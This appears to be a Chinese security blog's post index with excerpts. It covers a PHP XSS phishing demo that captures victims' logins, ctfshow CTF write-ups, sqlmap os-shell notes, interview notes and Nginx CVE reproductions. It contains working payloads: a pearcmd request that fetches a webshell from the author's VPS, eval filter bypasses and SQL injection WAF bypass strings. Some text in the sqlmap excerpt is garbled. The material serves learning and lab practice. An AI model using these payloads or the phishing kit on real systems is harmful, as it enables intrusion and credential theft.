PxFish
简介P1umstar_xss_Fish 简称PxFish,一个php写的供xss演示的一套源码
起因:写XSS钓鱼那篇文章时,在GitHub上和其他地方搜了一下php写的钓鱼示例页面,没找到,只找到了一个python写的钓鱼示例页面,就是我文章用的那个页面,但是并无法进行后台xss弹窗,所以萌生了php写一个xss演示系统的念头,也是正在学习php,借着这个机会尝试一下,前端写的不是很好看,但是基本功能是可以实现的,代码还是很简单的
安装及使用数据库使用的是mysql,因此运行PxFish你需要提前安装好php+mysql+中间件(例如apache等),不过个人建议直接使用一些集成环境进行搭建,例如phpstudy,XAMPP等。
1、将PxFish放到web服务器的根目录下
2、修改inc/config.inc.php里面的数据库配置
3、开始使用
功能实现简单的钓鱼功能,同时也可以后台进行弹窗xss等功能(已经经过测试)
受害者登录页面输入用户名和密码,点击登录后跳转到真正的登录界面,受害者以为外在原因导致跳转,但实际上用户名和密码已经被在后台的我们获取
前端页面不够完善,只是实现了一些基础功能,如果你想将这套源码实际使用,请将前端和后台完善一下。
源码架构
数据库数据库建立mysql中新建一个数据库,名字随意,但是需要在其中创建两张表,一张users,里面储存的是后台登录的用户名和密码
ps:username和password是必须的,level可以有也可以没有
该数据库中新建一张pxfish的表,表中包含以下图片中的数据。储存获取的username和password
数据库配置修改mysql.php中的配置,改为你自己的。
写在最后如果对本项目有疑问,建议,或者项目对您造成了伤害,请第一时间联系我,万分感谢。
博客:https://plumst ...
ctfshow萌新web11-21
web22看到Firebasky师傅的文章才明白如何去做,其实我第一时间并没有想到这种方法,借助pear,关于pear可以看这篇文章https://www.cmdschool.org/archives/2763 这里我简单介绍一下
pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。从指定服务器下载文件
payload为
?c=pearcmd&+download+http://plumstar.cn/shell.php
<?php
echo "<?php system('ls');?>"; //读取文件夹信息
?>
payload中的shell.php文件就是我在自己的vps中写的一个一句话木马,将其下载下来并且include进行包含执行,便可访问shell.php得到结果。
然后修改shell.php文件即可得到flag,注意flag在网页源代码中
获得百分之百的快乐看源码对输入的长度进行了限制,可以自己试一下
?1=ls //执行成功
?1=whoami //返回hack,执行失败
找一下绕过的方法,使用到了nl命令
?1=>nl //创建一个nl的空文件
?1=ls
?1=* //* 以当前路径下第一个文件名作为命令执行
web23-24这两道题确实是没做出来,找了各位师傅的脚本直接跑然后改了再跑也没有跑出来,很苦恼,但是也并没有啥子办法,脚本是根据这两位师傅尝试修改跑的 ...
ctfshow萌新web11-21
写在前面接上篇文章:https://plumstar.cn/2022/04/30/ctfshow-meng-xin-web1-10/
web11<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat/i",$c)){ //过滤掉了system exec hightlight cat四个函数,想办法绕过
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这里依旧使用web10的多重定义的办法,同时使用转义符绕过cat过滤,payload为
?c=$a='sys';$b='tem';$d=$a.$b;$d('ls'); //查看当前目录下文件
?c=$a='sys';$b='tem';$d=$a.$b;$d('ca\t config.php');
同样也是右键源码查看flag
web12if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
看到这里将system|exec| ...
ctfshow萌新web1-10
前言https://ctf.show/challenges
水文一篇,之前无聊做的,偶尔看见了,今天闲着无聊排了排版发出来了,入门题都算不上,顾名思义萌新。
web1-web4<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
...
sqlmap-os-shell
前言蓝队二面的时候被问到了,很尴尬。平时不是很喜欢用sqlmap去跑,被问到了sqlmap-os-shell的原理,写下这篇文章记录并忏悔,简单介绍一下sqlmap-os-shell的原理以及简单操作一�?
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数�?
在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令�?
在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建
条件这个sqlmap-os-shell并不是任意拿过来一个注入点就可以使用,需要数据库或者用户有一些条件才可成功利�?
ps:其实os-shell的本质就是写入文件,那么自然说一下上传文件的两个前提条件,首先我们要知道网站的绝对路�?(我们的文件写入到哪里),然后要有导入导出的权限,有了这两个权限才能继续下去
sqlserver中,必要条件�?
数据库支持外�?
数据库权限为SA权限
Sqlserver –os-shell主要是利用xp_cmdshell扩展进行命令执行�?
不过这里我本地无SQL server的环境,这里就不演示了,其实大概跟MySQL一毛一样�?
mysql中,必要条件�?
数据库支持外�?
Secure_file_priv参数为空或者为指定路径:当这个参数后面�? null 时,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,如果后面没有值(为空)时,表示可以在任何文件夹下导入导出�?
对mysq ...
蓝队一面
前言接上篇文章二面,一面感觉比二面简单好多,问的问题也少
shiro以及反序列化漏洞了解吗Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。apacheShiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
shiro反序列化漏洞:shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
XSS和CSRF的区别名称不同:一个为跨站请求伪造,一个为跨站脚本请求
危害不同:csrf是伪造其他网站的操作,冒用身份比如利用cookie,伪造登录凭证,无法直接窃取用户cookie,而xss可以编写payload导致用户cookie直接被攻击者所窃取;
分类不同:xss有三种分类,csrf无分类;
修复方式不同
用过哪些设备根据自己的实际情况说
应急响应流程这个问题问的比较广,需要根据具体是什么情况进行应急,如远程被爆破?服务器被上传shell?页面被篡改?等等都是应急响应的范围,所以需要大家去开放性的去回答这个问题:
一些点第一步,安全感知平台查看事件预警,分析预警是否误报
误报,忽略;非误报,进行分析
第二步,从安全按感知平台,安全设备,对攻击事件进行分析
不成功,封禁IP;成功,开启应急响应排查流程
第三步,应急响应
Webshell(网站失陷),排查webshell,并且通过安全平台日志分析漏洞,进行下线或修补漏洞。
服务器失陷,应急
排查失陷入口
1.web入侵提权2.远程登 ...
蓝队二面
前言这段时间一直在忙面试的事情,就没及时更新。等面试等的确实折磨,不过还好面完了,轻松了许多了,终于想起来更新了,写一下面试中被问到的问题,整体面的还可以,只是有一些小细节没答好;难度偏简单
sql注入的绕过姿势大小写绕过eg:id=-1 uniOn selEct 1,2,database()#
内联注释绕过内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。注意不是注释符/*… */,不要搞混了。
eg:id=-1 union /!select/ 1,2,database()#
双写关键词绕过一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。
eg:id=-1 union seselectlect 1,2,database()#
特殊编码绕过十六进制绕过
eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B
ascii编码绕过
eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
Unicode编码
常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e ...
文件上传靶场11-15
pass-11同样观察源码,发现一串有意思的代码,$file_name = str_ireplace($deny_ext,””, $file_name),这里就要提到这个函数的用法
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
...
Nginx越界读取缓存漏洞
参考https://cert.360.cn/warning/detail?id=b879782fbad4a7f773b6c18490d67ac7
https://github.com/vulhub/vulhub
关于漏洞成因以及代码等原因:https://cert.360.cn/warning/detail?id=b879782fbad4a7f773b6c18490d67ac7
漏洞介绍2017年7月11日,Nginx在官方公告中称发现了一个范围过滤器中的安全问题,攻击者通过精心构造的恶意请求能造成整数溢出,对范围值的不当处理会导致敏感信息泄漏。
当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。
漏洞名称:Nginx越界读取缓存漏洞
漏洞编号:CVE-2017-7529
影响版本:Nginx version 0.5.6 - 1.13.2
漏洞原理Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
漏洞复现运行测试环境:
docker-compose up -d
访问ht ...
Nginx文件名逻辑漏洞
漏洞介绍漏洞名称:Nginx 文件名逻辑漏洞
漏洞编号:CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
其实该漏洞类似于解析漏洞,所以我标签归类为文件上传漏洞,我们上传的gif文件可以被作为php解析,但是实质为错误地解析了请求的URI,错误地获取到用户请求的文件名,导致该漏洞出现。
漏洞原理由于错误的解析了请求的url,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。例如:
nginx匹配到.php的文件请求时,就将请求的文件名发给fastcgi进行解析,从而达到正常功能的使用,常见写法为:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。
但是在该漏洞环境下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。
fastcgi根据SCRIPT_FILENAME的值进行解析, ...